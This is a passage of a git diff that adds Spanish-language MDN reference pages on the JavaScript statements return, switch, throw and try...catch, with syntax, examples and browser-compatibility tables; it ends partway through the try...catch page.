+<h2 id="CompatibilityTable"><span style="font-size: 14px; font-weight: normal; line-height: 1.5;">{{CompatibilityTable}}</span></h2>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>
+    <p class="p1">{{CompatChrome(41.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }} [1]</td>
+   <td>11</td>
+   <td>17</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Zona muerta temporal</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoDesktop("35") }} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Expresión<code> let</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}-{{ CompatGeckoDesktop("40") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Bloque<code> let</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome para Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatUnknown}}</td>
+   <td>
+    <p class="p1">{{CompatChrome(41.0)}}</p>
+   </td>
+   <td>{{ CompatGeckoMobile("1.8.1") }} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Zona muerta temporal</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("35") }} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td>Expresión<code> let</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }}-{{ CompatGeckoMobile("40") }}[1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Bloque<code> let</code> {{non-standard_inline}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{ CompatGeckoMobile("1.8.1") }} [1]</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="Notas_específicas_a_Firefox">Notas específicas a Firefox</h3>
+
+<ul>
+ <li>[1]: Solo disponible para bloques de codigo HTML dentro de una etiqueta <code>&lt;script&gt; type="application/javascript;version=1.7"&gt;</code> (o de una versión mayor). Es necesario tomar en cuenta que esta es una característica no estándar, esto puede crear conflictos con otros navegadores. Las etiquetas <a href="https://developer.mozilla.org/en-US/docs/XUL">XUL</a> tienen acceso a esas características sin necesidad de dicho bloque. Ver<span style="line-height: 1.5;">{{bug(932513)}}.</span></li>
+ <li>Conformidad con ES2015 para <code>let</code> en SpIderMonkey es monitoreado en {{bug(950547)}} y extensiones no-standar seran eliminadas en el futuro {{bug(1023609)}}.</li>
+</ul>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var"><code>var</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const"><code>const</code></a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/return/index.html b/files/es/web/javascript/referencia/sentencias/return/index.html
new file mode 100644
index 0000000000..6497e97632
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/return/index.html
@@ -0,0 +1,73 @@
+---
+title: return
+slug: Web/JavaScript/Referencia/Sentencias/return
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/return
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p><span id="result_box" lang="es"><span>La</span> <span>sentencia <code>return</code></span> <span class="alt-edited">finaliza la</span> <span>ejecución de la función</span> <span>y especifica</span> <span>un valor</span> <span>para ser devuelto</span> <span class="alt-edited">a quien llama a la</span> <span>función.</span></span></p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">return [[ <em>expresion</em> ]];</pre>
+
+<dl>
+ <dt><span class="short_text" id="result_box" lang="es"><span>expresion</span></span></dt>
+ <dd>La expresión a retornar. Si se omite, <code>undefined</code> es retornado en su lugar.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Cuando una instrucción de retorno se llama en una función, se detiene la ejecución de esta. Si se especifica un valor dado, este se devuelve a quien llama a la función. Si se omite la expresión, <code>undefined</code> se devuelve en su lugar. Todas las siguientes sentencias de retorno rompen la ejecución de la función:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">return</span><span class="punctuation token">;</span>
+<span class="keyword token">return</span> <span class="keyword token">true</span><span class="punctuation token">;</span>
+<span class="keyword token">return</span> <span class="keyword token">false</span><span class="punctuation token">;</span>
+<span class="keyword token">return</span> x<span class="punctuation token">;</span>
+<span class="keyword token">return</span> x <span class="operator token">+</span> y <span class="operator token">/</span> <span class="number token">3</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Sintaxis" name="Sintaxis"><br>
+ La inserción automática Punto y coma</h2>
+
+<p>La instrucción de retorno se ve afectada por la inserción automática de punto y coma (ASI). No se permite el terminador de línea entre la palabra clave de retorno y la expresión.</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">return</span>
+a <span class="operator token">+</span> b<span class="punctuation token">;</span></code></pre>
+
+<dl>
+</dl>
+
+<p><br>
+ se transforma por ASI en:</p>
+
+<pre class="line-numbers  language-html"><code class="language-html">return;
+a + b;</code></pre>
+
+<p><br>
+ La consola le advertirá "código inalcanzable después de la declaración de retorno".</p>
+
+<div class="note">
+<p>A partir de Gecko 40 {{geckoRelease(40)}}, una advertencia es mostrada en la consola si se encuentra código inalcanzable despues de una instrucción return.</p>
+</div>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Usando_return" name="Ejemplo:_Usando_return">Ejemplo: Usando <code>return</code></h3>
+
+<p>La siguiente función devuelve el cuadrado de su argumento, <code>x</code>, donde <code>x</code> es un número.</p>
+
+<pre class="brush: js">function cuadrado(x) {
+   return x * x;
+}
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li><a href="/es/docs/Web/JavaScript/Referencia/Funciones">Funciones</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/switch/index.html b/files/es/web/javascript/referencia/sentencias/switch/index.html
new file mode 100644
index 0000000000..9aa1f67dc0
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/switch/index.html
@@ -0,0 +1,245 @@
+---
+title: switch
+slug: Web/JavaScript/Referencia/Sentencias/switch
+translation_of: Web/JavaScript/Reference/Statements/switch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La <strong>declaración</strong> <code><strong>switch</strong></code> evalúa una <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide/Expressions_and_Operators">expresión</a>, comparando el valor de esa expresión con una instancia <code><strong>case</strong></code>, y ejecuta <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Referencia/Sentencias">declaraciones</a> asociadas a ese <code>case</code>, así como las declaraciones en los <code>case</code> que siguen.</p>
+
+<h2 id="Syntaxis">Syntaxis</h2>
+
+<pre class="syntaxbox notranslate">switch (expresión) {
+  case valor1:
+    //Declaraciones ejecutadas cuando el resultado de expresión coincide con el valor1
+    [break;]
+  case valor2:
+    //Declaraciones ejecutadas cuando el resultado de expresión coincide con el valor2
+    [break;]
+  ...
+  case valorN:
+    //Declaraciones ejecutadas cuando el resultado de expresión coincide con valorN
+    [break;]
+  default:
+    //Declaraciones ejecutadas cuando ninguno de los valores coincide con el valor de la expresión
+    [break;]
+}</pre>
+
+<dl>
+ <dt><code>expresión</code></dt>
+ <dd>Es una expresión que es comparada con el valor de cada instancia <code>case</code>.</dd>
+ <dt><code>case valorN</code></dt>
+ <dd>Una instancia <code>case valorN</code> es usada para ser comparada con la <code>expresión</code>. Si la <code>expresión</code> coincide con el <code>valorN</code>, las declaraciones dentro de la instancia <code>case</code> se ejecutan hasta que se encuentre el final de la declaración <code>switch</code> o hasta encontrar una interrupción <code>break</code>.</dd>
+</dl>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">default</span></font></dt>
+ <dd>Una instancia <code>default</code>, cuando es declarada, es ejecutada si el valor de la <code>expresión</code> no coincide con cualquiera de las otras instancias <code>case valorN</code>.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Si ocurre una coincidencia, el programa ejecuta las declaraciones asociadas correspondientes. Si la expresión coincide con múltiples entradas, la primera será la seleccionada, incluso si las mayúsculas son tenidas en cuenta.</p>
+
+<p>El programa primero busca la primer instacia <code>case</code> cuya expresión se evalúa con el mismo valor de la expresión de entrada (usando <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">comparación estricta</a>, <code>===)</code> y luego transfiere el control a esa cláusula, ejecutando las declaraciones asociadas. Si no se encuentra una cláusula de <code>case</code> coincidente, el programa busca la cláusula <code>default</code> opcional, y si se encuentra, transfiere el control a esa instancia, ejecutando las declaraciones asociadas. Si no se encuentra una instancia <code>default</code>  el programa continúa la ejecución en la instrucción siguiente al final del <code>switch</code>. Por convención, la instancia <code>default</code> es la última cláusula, pero no tiene que ser así.</p>
+
+<p>La declaración <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/break" title="JavaScript/Reference/Statements/break">break</a></code> es opcional y está asociada con cada etiqueta de <code>case</code> y asegura que el programa salga del <code>switch</code> una vez que se ejecute la instrucción coincidente y continúe la ejecución en la instrucción siguiente. Si se omite el  <code>break</code>  el programa continúa la ejecución en la siguiente instrucción en la declaración de <code>switch</code> .</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_switch">Usando <code>switch</code></h3>
+
+<p>En el siguiente ejemplo, si <code>expresión</code> se resuelve a "Platanos", el algoritmo compara el valor con el <code>case</code> "Platanos" y ejecuta la declaración asociada. Cuando se encuentra un <code>break</code>, el programa sale del condicional <code>switch</code> y ejecuta la declaración que lo procede. Si se omite el <code>break</code>, el <code>case</code> "Cerezas" también es ejecutado.</p>
+
+<pre class="notranslate"><code>switch (expr) {
+  case 'Naranjas':
+    console.log('El kilogramo de naranjas cuesta $0.59.');
+    break;
+  case 'Manzanas':
+    console.log('El kilogramo de manzanas cuesta $0.32.');
+    break;
+  case 'Platanos':
+    console.log('El kilogramo de platanos cuesta $0.48.');
+    break;
+  case 'Cerezas':
+    console.log('El kilogramo de cerezas cuesta $3.00.');
+    break;
+  case 'Mangos':
+  case 'Papayas':
+    console.log('El kilogramo de mangos y papayas cuesta $2.79.');
+    break;
+  default:
+    console.log('Lo lamentamos, por el momento no disponemos de ' + expr + '.');
+}
+
+console.log("¿Hay algo más que te quisiera consultar?");</code></pre>
+
+<h3 id="¿Qué_pasa_si_olvido_un_break">¿Qué pasa si olvido un break?</h3>
+
+<p>Si olvidas un <code>break</code>, el script se ejecutará desde donde se cumple la condición y ejecutará el siguiente <code>case</code> independientemente si esta condición se cumple o no. Ver el siguiente ejemplo:</p>
+
+<pre class="brush: js notranslate">var foo = 0;
+switch (foo) {
+  case -1:
+    console.log('1 negativo');
+    break;
+  case 0: // foo es 0, por lo tanto se cumple la condición y se ejecutara el siguiente bloque
+    console.log(0)
+    // NOTA: el "break" olvidado debería estar aquí
+  case 1: // No hay sentencia "break" en el 'case 0:', por lo tanto este caso también será ejecutado
+    console.log(1);
+    break; // Al encontrar un "break", no será ejecutado el 'case 2:'
+  case 2:
+    console.log(2);
+    break;
+  default:
+    console.log('default');
+}
+</pre>
+
+<h3 id="¿Puedo_usar_un_&lt;default>_entre_condiciones">¿Puedo usar un &lt;default&gt; entre condiciones?</h3>
+
+<p>Si, ¡es posible! JavaScript retornará a la instancia <code>default</code> en caso de no encontrar una coincidencia:</p>
+
+<pre class="notranslate"><code>var foo = 5;
+switch (foo) {
+  case 2:
+    console.log(2);
+    break; // al encontrar este 'break' no se continuará con el siguiente 'default:'
+  default:
+    console.log('default')
+    // fall-through
+  case 1:
+    console.log('1');
+}</code></pre>
+
+<p>Al estar el <code>case 1:</code> a continuación de <code>default</code>, y al no haber un <code>break </code>de por medio, veremos que la declaración del <code>case 1:</code> será ejecutada, apareciendo el resultado <code>1</code> en el <em>log de consola.</em></p>
+
+<h3 id="Metodos_para_casos_con_multiple-criterio">Metodos para casos con multiple-criterio</h3>
+
+<p>La fuente de esta técnica esta aquí:</p>
+
+<p><a href="http://stackoverflow.com/questions/13207927/switch-statement-multiple-cases-in-javascript">Switch statement multiple cases in JavaScript (Stack Overflow)</a></p>
+
+<h4 id="Operación_única_con_múltiples_casos">Operación única con múltiples casos</h4>
+
+<p>Este método toma ventaja del hecho de que, si no hay un <code>break</code> debajo de una declaración <code>case</code>, continuará la ejecución hasta el siguiente <code>case</code>, ignorando si en dicho caso se cumple o no el criterio indicado. Comprobar en la sección <em>¿Qué pasa si olvido un <code>break</code>?</em></p>
+
+<p>Este es un ejemplo de operación única con sentencia <code>switch</code> secuencial, donde cuatro valores diferentes se comportan exactamente de la misma manera:</p>
+
+<pre class="brush: js notranslate">var Animal = 'Jirafa';
+switch (Animal) {
+  case 'Vaca':
+  case 'Jirafa':
+  case 'Perro':
+  case 'Cerdo':
+    console.log('Este animal subirá al Arca de Noé.');
+    break;
+  case 'Dinosaurio':
+  default:
+    console.log('Este animal no lo hará.');
+}</pre>
+
+<h4 id="Operaciones_encadenadas_con_múltiples_casos">Operaciones encadenadas con múltiples casos</h4>
+
+<p>Este es un ejemplo de una sentencia <code>switch</code> secuencial con múltiples operaciones, donde, dependiendo del valor entero dado, se pueden recibir diferentes resultados. Esto demuestra que el algoritmo correrá en el orden en que se coloquen las declaraciones <code>case</code>, y que no tiene que ser numéricamente secuencial. En JavaScript, también es posible combinar definiciones con valores <em><code>"string"</code> </em>dentro de estas declaraciones <code>case</code>.</p>
+
+<pre class="brush: js notranslate">var foo = 1;
+var output = 'Salida: ';
+switch (foo) {
+  case 10:
+    output += '¿Y ';
+  case 1:
+    output += 'Cuál ';
+    output += 'Es ';
+  case 2:
+    output += 'Tu ';
+  case 3:
+    output += 'Nombre';
+  case 4:
+    output += '?';
+    console.log(output);
+    break;
+  case 5:
+    output += '!';
+    console.log(output);
+    break;
+  default:
+    console.log('Por favor, selecciona un valor del 1 al 6.');
+}</pre>
+
+<p>La salida(output) de este ejemplo:</p>
+
+<table class="standard-table" style="height: 270px; width: 522px;">
+ <tbody>
+  <tr>
+   <th scope="col">Value</th>
+   <th scope="col">Log text</th>
+  </tr>
+  <tr>
+   <td>foo es NaN or no es 1, 2, 3, 4, 5 ni 10</td>
+   <td>Por favor, selecciona un valor del 1 al 6.</td>
+  </tr>
+  <tr>
+   <td>10</td>
+   <td>Salida: ¿Y Cuál Es Tu Nombre?</td>
+  </tr>
+  <tr>
+   <td>1</td>
+   <td>Salida: Cuál Es Tu Nombre?</td>
+  </tr>
+  <tr>
+   <td>2</td>
+   <td>Salida: Tu Nombre?</td>
+  </tr>
+  <tr>
+   <td>3</td>
+   <td>Salida: Nombre?</td>
+  </tr>
+  <tr>
+   <td>4</td>
+   <td>Salida: ?</td>
+  </tr>
+  <tr>
+   <td>5</td>
+   <td>Salida: !</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Variables_centradas_en_bloques_sin_un_estamento_de_switch">Variables centradas en bloques sin un estamento de switch</h3>
+
+<p>Con ECMAScript 2015 (ES6) </p>
+
+<h2 id="Compatibilidad_en_Navegadores">Compatibilidad en Navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/if...else"><code>if...else</code></a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/throw/index.html b/files/es/web/javascript/referencia/sentencias/throw/index.html
new file mode 100644
index 0000000000..d3e52f83ac
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/throw/index.html
@@ -0,0 +1,153 @@
+---
+title: throw
+slug: Web/JavaScript/Referencia/Sentencias/throw
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/throw
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<h2 id="Resumen" name="Resumen">Resumen</h2>
+
+<p>Lanza una excepcion definida por el usuario.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">throw <em>expresion</em>;</pre>
+
+<dl>
+ <dt><code>expresion</code></dt>
+ <dd>Expresión a lanzar.</dd>
+</dl>
+
+<h2 id="Descripci.C3.B3n" name="Descripci.C3.B3n">Descripción</h2>
+
+<p>Utilice la sentencia <code>throw</code> para lanzar una excepción. Cuando lanza una excepción, <code>expresion</code> especifica el valor de la excepción. Cada uno de los siguientes ejemplos lanza una excepción:</p>
+
+<pre class="brush: js">throw "Error2"; // genera una excepción con un valor cadena
+throw 42; // genera una excepción con un valor 42
+throw true; // genera una excepción con un valor true</pre>
+
+<h2 id="Ejemplos" name="Ejemplos">Ejemplos</h2>
+
+<h3 id="Ejemplo:_Lanzar_un_objeto" name="Ejemplo:_Lanzar_un_objeto">Ejemplo: Lanzar un objeto</h3>
+
+<p>Puede especificar un objeto cuando lanza una excepción. Puede entonces referenciar las propiedades del objeto en el bloque <code>catch</code>. El siguiente ejemplo crea un objeto <code>miExcepcionUsuario</code> del tipo <code>ExceptionUsuario</code> y la utiliza usándola en una sentencia <code>throw</code>.</p>
+
+<pre class="brush: js">function ExceptionUsuario(mensaje) {
+   this.mensaje = mensaje;
+   this.nombre = "ExceptionUsuario";
+}
+
+function getNombreMes(mes) {
+   mes = mes - 1; // Ajustar el número de mes al índice del arreglo (1 = Ene, 12 = Dic)
+   var meses = new Array("Ene", "Feb", "Mar", "Abr", "May", "Jun", "Jul",
+      "Ago", "Sep", "Oct", "Nov", "Dic");
+   if (meses[mes] != null) {
+      return meses[mes];
+   } else {
+      miExcepcionUsuario = new ExceptionUsuario("NumeroMesNoValido");
+      throw miExcepcionUsuario;
+   }
+}
+
+try {
+   // sentencias para try
+   nombreMes = getNombreMes(miMes);
+} catch (excepcion) {
+   nombreMes = "desconocido";
+   registrarMisErrores(excepcion.mensaje, excepcion.nombre); // pasa el objeto exception al manejador de errores
+}
+</pre>
+
+<h3 id="Ejemplo:_Otro_ejemplo_sobre_lanzar_un_objeto" name="Ejemplo:_Otro_ejemplo_sobre_lanzar_un_objeto">Ejemplo: Otro ejemplo sobre lanzar un objeto</h3>
+
+<p>El siguiente ejemplo comprueba una cadena de entrada para un código postal de EE.UU. Si el código postal utiliza un formato no válido, la sentencia throw lanza una excepción creando un objeto de tipo <code>ExcepcionFormatoCodigoPostal</code>.</p>
+
+<pre class="brush: js">/*
+ * Creates a ZipCode object.
+ *
+ * Accepted formats for a zip code are:
+ *    12345
+ *    12345-6789
+ *    123456789
+ *    12345 6789
+ *
+ * If the argument passed to the ZipCode constructor does not
+ * conform to one of these patterns, an exception is thrown.
+ */
+
+function ZipCode(zip) {
+   zip = new String(zip);
+   pattern = /[0-9]{5}([- ]?[0-9]{4})?/;
+   if (pattern.test(zip)) {
+      // zip code value will be the first match in the string
+      this.value = zip.match(pattern)[0];
+      this.valueOf = function() {
+         return this.value
+      };
+      this.toString = function() {
+         return String(this.value)
+      };
+   } else {
+      throw new ExcepcionFormatoCodigoPostal(zip);
+   }
+}
+
+function ExcepcionFormatoCodigoPostal(valor) {
+   this.valor = valor;
+   this.mensaje = "no conforme con el formato esperado de código postal";
+   this.toString = function() {
+      return this.valor + this.mensaje
+   };
+}
+
+/*
+ * Esto podría estar en un script que valida los datos de una dirección de EE.UU.
+ */
+
+var CODIGOPOSTAL_NOVALIDO = -1;
+var CODIGOPOSTAL_DESCONOCIDO_ERROR = -2;
+
+function verificarCodigoPostal(codigo) {
+   try {
+      codigo = new CodigoPostal(codigo);
+   } catch (excepcion) {
+      if (excepcion instanceof ExcepcionFormatoCodigoPostal) {
+         return CODIGOPOSTAL_NOVALIDO;
+      } else {
+         return CODIGOPOSTAL_DESCONOCIDO_ERROR;
+      }
+   }
+   return codigo;
+}
+
+a = verificarCodigoPostal(95060);         // devuelve 95060
+b = verificarCodigoPostal(9560;)          // devuelve -1
+c = verificarCodigoPostal("a");           // devuelve -1
+d = verificarCodigoPostal("95060");       // devuelve 95060
+e = verificarCodigoPostal("95060 1234");  // devuelve 95060 1234
+</pre>
+
+<h3 id="Ejemplo:_Relanzar_una_excepci.C3.B3n" name="Ejemplo:_Relanzar_una_excepci.C3.B3n">Ejemplo: Relanzar una excepción</h3>
+
+<p>Puede usar <code>throw</code> para volver a lanzar una excepción después de cogerla. El siguiente ejemplo coge una excepción con un valor numérico y la vuelve a lanzar si el valor es superior a 50. La excepción relanzada propaga hacia arriba la función adjunta o a un nivel superior para que el usuario pueda verla.</p>
+
+<pre class="eval">try {
+   throw n; // lanza una excepción con un valor numérico
+} catch (excepcion) {
+   if (excepcion &lt;= 50) {
+      // sentencias para manejar la excepción 1-50
+   } else {
+      // no se puede manejar esta excepción, así que se vuelve a lanzar
+      throw excepcion;
+   }
+}
+</pre>
+
+<h2 id="Vea_Tambi.C3.A9n" name="Vea_Tambi.C3.A9n">Vea También</h2>
+
+<ul>
+ <li>{{jsxref("Sentencias/try...catch", "try...catch")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/sentencias/try...catch/index.html b/files/es/web/javascript/referencia/sentencias/try...catch/index.html
new file mode 100644
index 0000000000..d429db6163
--- /dev/null
+++ b/files/es/web/javascript/referencia/sentencias/try...catch/index.html
@@ -0,0 +1,254 @@
+---
+title: try...catch
+slug: Web/JavaScript/Referencia/Sentencias/try...catch
+tags:
+  - Error
+  - Excepción
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/try...catch
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p>La declaración <strong><code>try...catch</code></strong> señala un bloque de instrucciones a intentar (<strong><code>try</code></strong>), y especifica una respuesta si se produce una excepción (<strong><code>catch</code></strong>).</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-trycatch.html")}}</div>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox">try {
+   <em>try_statements</em>
+}
+[catch (<em>exception_var_1</em> if <em>condition_1</em>) { // non-standard
+   <em>catch_statements_1</em>
+}]
+...
+[catch (<em>exception_var_2</em>) {
+   <em>catch_statements_2</em>
+}]
+[finally {
+   <em>finally_statements</em>
+}]
+</pre>
+
+<dl>
+ <dt><code>try_statements</code></dt>
+ <dd>Las sentencias que serán ejecutadas.</dd>
+</dl>
+
+<dl>
+ <dt><code>catch_statements_1</code>, <code>catch_statements_2</code></dt>
+ <dd>Sentencias que se ejecutan si una excepción es lanzada en el bloque <code>try</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>exception_var_1</code>, <code>exception_var_2</code></dt>
+ <dd>Identificador que contiene un objeto de excepcion asociado a la cláusula <code>catch</code>.</dd>
+</dl>
+
+<dl>
+ <dt><code>condition_1</code></dt>
+ <dd>Una expresión condicional.</dd>
+</dl>
+
+<dl>
+ <dt><code>finally_statements</code></dt>
+ <dd>Sentencias que se ejecutan después de que se completa la declaración <code>try</code> . Estas sentencias se ejecutan independientemente de si una excepcion fue lanzada o capturada.</dd>
+</dl>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>La sentencia <code>try</code> consiste en un bloque <code>try</code> que contiene una o más sentencias. Las llaves <code>{}</code> se deben utilizar siempre<code>,</code> incluso para una bloques de una sola sentencia. Al menos un bloque <code>catch</code> o un bloque <code>finally</code> debe estar presente. Esto nos da tres formas posibles para la sentencia <code>try</code>:</p>
+
+<ol>
+ <li><code>try...catch</code></li>
+ <li><code>try...finally</code></li>
+ <li><code>try...catch...finally</code></li>
+</ol>
+
+<p>Un bloque <code>catch</code> contiene sentencias que especifican que hacer si una excepción es lanzada en el bloque <code>try</code>. Si cualquier sentencia dentro del bloque <code>try</code> (o en una funcion llamada desde dentro del bloque <code>try</code>) lanza una excepción, el control cambia inmediatamente al bloque <code>catch</code> . Si no se lanza ninguna excepcion en el bloque <code>try</code>, el bloque <code>catch</code> se omite.</p>
+
+<p>La bloque <code>finally</code> se ejecuta despues del bloque <code>try</code> y el/los bloque(s) <code>catch</code> hayan finalizado su ejecución. Éste bloque siempre se ejecuta, independientemente de si una excepción fue lanzada o capturada.</p>
+
+<p>Puede anidar una o más sentencias <code>try</code>. Si una sentencia <code>try</code> interna no tiene una bloque <code>catch</code>, se ejecuta el bloque <code>catch</code> de la sentencia <code>try</code> que la encierra.</p>
+
+<p>Usted también puede usar la declaración <code>try</code> para manejar excepciones de JavaScript. Consulte la <a href="https://developer.mozilla.org/es/docs/Web/JavaScript/Guide">Guía de JavaScript</a> para obtener mayor información sobre excepciones de JavaScript.<br>
+  </p>
+
+<h3 id="Bloque_catch_incondicional">Bloque catch incondicional</h3>
+
+<p>Cuando solo se utiliza un bloque <code>catch</code>, el bloque <code>catch</code> es ejecutado cuando cualquier excepción es lanzada. Por ejemplo, cuando la excepción ocurre en el siguiente código, el control se transfiere a la cláusula <code>catch</code>.</p>
+
+<pre class="brush: js">try {
+   throw "myException"; // genera una excepción
+}
+catch (e) {
+   // sentencias para manejar cualquier excepción
+   logMyErrors(e); // pasa el objeto de la excepción al manejador de errores
+}
+</pre>
+
+<p>El bloque <code>catch</code> especifíca un identificador ( <code>e</code> en el ejemplo anterior) que contiene el valor de la excepción. Este valor está solo disponible en el {{Glossary("Scope", "scope")}} de el bloque<code> catch</code></p>
+
+<h3 id="Bloques_catch_condicionales">Bloques catch condicionales</h3>
+
+<p>Tambien se pueden crear "bloques <code>catch</code> condicionales", combinando bloques <code>try...catch</code> con estructuras  <code>if...else if...else</code> como estas:</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">try</span> <span class="punctuation token">{</span>
+    <span class="function token">myroutine</span><span class="punctuation token">();<code class="language-js"><span class="comment token">  </span></code></span><span class="comment token">// puede lanzar tres tipos de excepciones</span><span class="punctuation token"><code class="language-js">
+</code>}</span> <span class="keyword token">catch</span> <span class="punctuation token">(</span><span class="class-name token">e</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+    <span class="keyword token">if</span> <span class="punctuation token">(</span>e <span class="keyword token">instanceof</span> <span class="class-name token">TypeError</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="comment token">// sentencias para manejar excepciones TypeError</span>
+    <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>e <span class="keyword token">instanceof</span> <span class="class-name token">RangeError</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="comment token">// sentencias para manejar excepciones RangeError</span>
+    <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="keyword token">if</span> <span class="punctuation token">(</span>e <span class="keyword token">instanceof</span> <span class="class-name token">EvalError</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+        <span class="comment token">// sentencias para manejar excepciones EvalError</span>
+    <span class="punctuation token">}</span> <span class="keyword token">else</span> <span class="punctuation token">{</span>
+       <span class="comment token">// sentencias para manejar cualquier excepción no especificada</span>
+       <span class="function token">logMyErrors</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// </span><span class="punctuation token">pasa el objeto de la excepción al manejador de errores</span>
+<span class="punctuation token">}</span></code></pre>
+
+<h3 id="The_exception_identifier" name="The_exception_identifier">El identificador de excepciones</h3>
+
